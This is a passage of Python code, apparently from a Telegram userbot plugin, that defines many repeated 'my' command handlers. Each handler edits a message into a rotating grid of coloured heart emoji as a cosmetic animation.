if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
